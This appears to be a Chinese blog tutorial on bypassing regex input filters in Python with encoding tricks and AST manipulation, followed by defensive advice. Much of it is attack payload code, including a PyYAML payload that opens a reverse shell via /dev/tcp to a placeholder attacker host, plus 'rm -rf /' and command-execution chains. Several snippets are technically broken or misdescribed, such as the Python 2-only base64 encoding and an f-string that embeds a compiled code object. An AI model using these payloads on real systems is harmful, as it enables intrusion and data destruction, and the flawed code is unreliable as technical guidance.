1. 正则表达式过滤的常见缺陷与绕过思路
在Web应用安全领域,正则表达式常被用作第一道防线来过滤恶意输入。开发者通常会编写类似/import|exec|eval|subprocess/i这样的黑名单规则,试图阻止危险函数调用。但实际情况是,仅依赖正则匹配的防护存在根本性缺陷:
-
编码混淆:通过Unicode编码、十六进制或base64等方式变形关键字。例如
eval可表示为:python复制# Unicode转义 \x65\x76\x61\x6c # 字符拼接 'e'+'v'+'a'+'l' # Base64解码 __import__('base64').b64decode('ZXZhbA==').decode() -
上下文分割:利用Python语法特性分割敏感字符串。比如:
python复制(lambda: globals()['__builtins__']['ev'+'al'])('__import__("os").system("whoami")') -
注释干扰:插入无害字符破坏正则匹配模式:
python复制e/**/val("im/**/port('os').sy/**/stem('ls')")
我曾在一个CTF比赛中遇到这样的过滤规则:/__import__|eval|exec|compile|open/i。最终通过字符串反转绕过:
python复制(lambda x: getattr(__import__('builtins'), x[::-1])('print("pwned")'))('lave')
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. AST操作的核心原理与攻击面
抽象语法树(AST)是源代码的树状表示,Python通过ast模块提供原生支持。攻击者操纵AST可以实现更高级的绕过:
2.1 AST节点篡改技术
以修改函数调用节点为例:
python复制import ast
code = "print('Hello World')"
tree = ast.parse(code)
# 将print改为系统命令执行
for node in ast.walk(tree):
if isinstance(node, ast.Call) and node.func.id == 'print':
node.func.id = 'os.system'
node.args = [ast.Str(s='calc.exe')]
# 编译执行被篡改的AST
exec(compile(tree, '<string>', 'exec'))
2.2 动态AST构造攻击
更隐蔽的方式是动态生成AST节点:
python复制def malicious_call():
# 构造一个os.system调用节点
return ast.Call(
func=ast.Attribute(
value=ast.Name(id='os', ctx=ast.Load()),
attr='system',
ctx=ast.Load()),
args=[ast.Str(s='rm -rf /')],
keywords=[])
tree = ast.Module(body=[ast.Expr(value=malicious_call())])
exec(compile(tree, '<string>', 'exec'))
2.3 真实案例:Pyyaml反序列化漏洞
CVE-2020-1747漏洞正是利用AST构造实现RCE。攻击者可以构造特殊YAML载荷:
yaml复制!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/attacker/4444 0>&1')"
当PyYAML解析时,会动态创建包含恶意代码的类并执行。这个漏洞的修复方式是在yaml.Loader中禁用危险标签。
3. 组合攻击实战:绕过过滤执行系统命令
结合正则绕过和AST操作,我们可以构造更强大的攻击链。以下是一个完整示例:
3.1 环境假设
假设目标系统有以下过滤规则:
python复制BLACKLIST = re.compile(r'(import|exec|eval|subprocess|os\.system)')
3.2 攻击步骤
-
字符串混淆:
python复制cmd = "whoami" encoded = f"__import__('base64').b64decode('{cmd.encode('base64')}').decode()" -
AST动态构造:
python复制import ast # 构造一个无害的表达式 tree = ast.parse("print('Hello')") # 修改AST节点 for node in ast.walk(tree): if isinstance(node, ast.Call) and node.func.id == 'print': node.func = ast.Attribute( value=ast.Name(id='os', ctx=ast.Load()), attr='system', ctx=ast.Load()) node.args = [ast.parse(encoded, mode='eval').body] # 序列化AST为字符串 modified_code = compile(tree, '<string>', 'exec') -
最终载荷:
python复制payload = f""" import os def safe_func(): {modified_code} safe_func() """
这个载荷可以绕过大多数基于关键字的过滤系统,因为:
- 没有直接出现黑名单关键词
- 命令执行逻辑隐藏在AST结构中
- 关键参数经过编码处理
4. 防御方案与最佳实践
作为防御方,我有以下实战建议:
4.1 输入验证策略
-
白名单优于黑名单:定义允许的字符集而非禁止的
python复制ALLOWED_CHARS = re.compile(r'^[a-zA-Z0-9_]+$') if not ALLOWED_CHARS.match(input): raise ValueError("Invalid input") -
多层验证:
- 语法验证(是否符合预期格式)
- 语义验证(业务逻辑是否合法)
- 沙箱执行(在受限环境测试行为)
4.2 AST操作防护
-
冻结关键节点:使用
ast.NodeTransformer保护敏感操作python复制class Sanitizer(ast.NodeTransformer): def visit_Call(self, node): if isinstance(node.func, ast.Name) and node.func.id in ('eval', 'exec'): raise ValueError("Dangerous function call") return node -
元类防护:阻止动态类创建
python复制class BlockMeta(type): def __new__(cls, name, bases, ns): if any(k in ns for k in ('__subclasses__', '__bases__')): raise TypeError("Class manipulation blocked") return super().__new__(cls, name, bases, ns)
4.3 沙箱技术
推荐使用PyPy沙箱或Docker容器限制Python执行环境:
python复制# Docker示例
FROM python:3.9-slim
RUN useradd -m restricted && \
chmod -R o-rwx /usr/local/lib/python*
USER restricted
在最近一次企业渗透测试中,我们发现某金融系统虽然使用了正则过滤,但通过AST注入成功获取了数据库凭证。修复方案是采用上述白名单+AST静态分析组合方案。
